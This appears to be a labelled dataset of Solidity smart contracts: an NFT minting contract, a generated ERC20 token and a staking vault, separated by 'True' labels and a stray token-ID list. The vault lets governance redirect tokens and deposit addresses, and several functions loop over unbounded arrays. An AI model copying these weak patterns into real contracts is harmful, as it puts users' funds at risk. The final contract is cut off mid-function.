// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/CyberRonin Haruka.sol
pragma solidity ^0.8.4;
contract Haruka is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 MAX_MINTS = 55;
uint256 MAX_SUPPLY = 5555;
uint256 MAX_SUPPLY_PRIVATE_WHITELISTED = 55;
uint256 public mintRatePrivateWhitelist = 0 ether;
uint256 public mintRatePublicWhitelist = 0.055 ether;
uint256 public mintRatePublicSale = 0.069 ether;
bool public paused = false;
bool public revealed = false;
bool public privateWhitelisted = true;
bool public publicWhitelisted = false;
bool public publicSale = false;
uint256 public mintedPublicWhitelistAddressLimit = 2;
uint256 public mintedPublicAddressLimit = 3;
address[] public mintedPublicWhitelistAddresses;
mapping(address => uint256) public publicWhitelistAddressMintedBalance;
string public baseURI = "ipfs://QmNWFJgHgTH5aneQXTT6AfDXKMqGQoA7whAftZUtkFHFjK/";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
address constant public privateWLAddress = 0xE0eDcd0b10E86f2309f24bED584E2909eD268e48;
constructor(bytes32 _root) ERC721A("CyberRonin Haruka", "Haruka") {
setHiddenMetadataUri("ipfs://QmNWFJgHgTH5aneQXTT6AfDXKMqGQoA7whAftZUtkFHFjK/Hidden.json");
root = _root;
}
modifier mintCompliance(uint256 quantity) {
require(!paused, "The contract is paused!");
require(isValidateEvent(), "The all event state is false");
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left");
_;
}
function privateMint(uint256 quantity) external payable mintCompliance(quantity) {
require(quantity <= MAX_MINTS, "Max minting per tx have exceeded");
require(publicSale == false, "Public sale not false");
require(mintRatePrivateWhitelist == 0, "Set mintrate to 0");
require(msg.sender == privateWLAddress, "You are not on private whitelist to perform minting");
require(totalSupply() + quantity <= MAX_SUPPLY_PRIVATE_WHITELISTED, "Not enough tokens left on private whitelist sale");
_safeMint(msg.sender, quantity);
}
function publicWhitelistMint(uint256 quantity, bytes32[] memory proof) external payable mintCompliance(quantity) {
require(privateWhitelisted == false, "Set private whitelist to false");
require(publicSale == false, "Public sale not false");
require(isValidWhitelistedPublic(proof, keccak256(abi.encodePacked(msg.sender))), "You are not whitelisted to perform minting");
require(quantity <= mintedPublicWhitelistAddressLimit, "Max minting per tx have limited on public whitelist");
require(msg.value >= (mintRatePublicWhitelist * quantity), "Not enough ether sent");
uint amountToWithdraw = publicWhitelistAddressMintedBalance[msg.sender];
if(isMintedPublicWhitelistAddress(msg.sender) == true) {
uint256 ownerPWTokenCount = amountToWithdraw;
require(ownerPWTokenCount + quantity <= mintedPublicWhitelistAddressLimit, "Minting have exceeded on public whitelist sale");
}
mintedPublicWhitelistAddresses.push(msg.sender);
for (uint256 i = 0; i < quantity; i++) {
publicWhitelistAddressMintedBalance[msg.sender]++;
}
_safeMint(msg.sender, quantity);
}
function publicMint(uint256 quantity) external payable mintCompliance(quantity) {
require(publicSale == true, "Public sale not true");
require(quantity <= mintedPublicAddressLimit, "Max minting per trx have limited on public sale");
require(msg.value >= (mintRatePublicSale * quantity), "Not enough ether sent");
if(isMintedPublicWhitelistAddress(msg.sender) == true) {
uint256 ownerPublicTokenCount = publicWhitelistAddressMintedBalance[msg.sender];
require(ownerPublicTokenCount + quantity <= mintedPublicAddressLimit, "Minting have exceeded on public sale");
}
mintedPublicWhitelistAddresses.push(msg.sender);
for (uint256 i = 0; i < quantity; i++) {
publicWhitelistAddressMintedBalance[msg.sender]++;
}
_safeMint(msg.sender, quantity);
}
function withdraw() external payable onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setPublicSale(bool _state) public onlyOwner {
publicSale = _state;
}
function setPublicWhitelistedAddressLimit(uint256 _limit) public onlyOwner {
mintedPublicWhitelistAddressLimit = _limit;
}
function setPublicAddressLimit(uint256 _limit) public onlyOwner {
mintedPublicAddressLimit = _limit;
}
function setPrivateWhitelisted(bool _state) public onlyOwner {
privateWhitelisted = _state;
}
function setPublicWhitelisted(bool _state) public onlyOwner {
publicWhitelisted = _state;
}
function setBaseURI(string memory _baseUri) public onlyOwner {
baseURI = _baseUri;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function isValidateEvent() public view returns (bool)
{
if((privateWhitelisted == false) && (publicWhitelisted == false) && (publicSale == false)) {
return false;
} else {
return true;
}
}
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= MAX_SUPPLY) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function isMintedPublicWhitelistAddress(address _user) public view returns (bool)
{
for (uint i = 0; i < mintedPublicWhitelistAddresses.length; i++) {
if (mintedPublicWhitelistAddresses[i] == _user) {
return true;
}
}
return false;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function _startTokenId() internal view virtual override returns (uint256) {
return 1;
}
function isValidWhitelistedPublic(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
return MerkleProof.verify(proof, root, leaf);
}
}
|
True
|
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1065,
2842,
1063,
1013,
1013,
23325,
1006,
2783,
5783,
1997,
1996,
6947,
102
] |
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// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
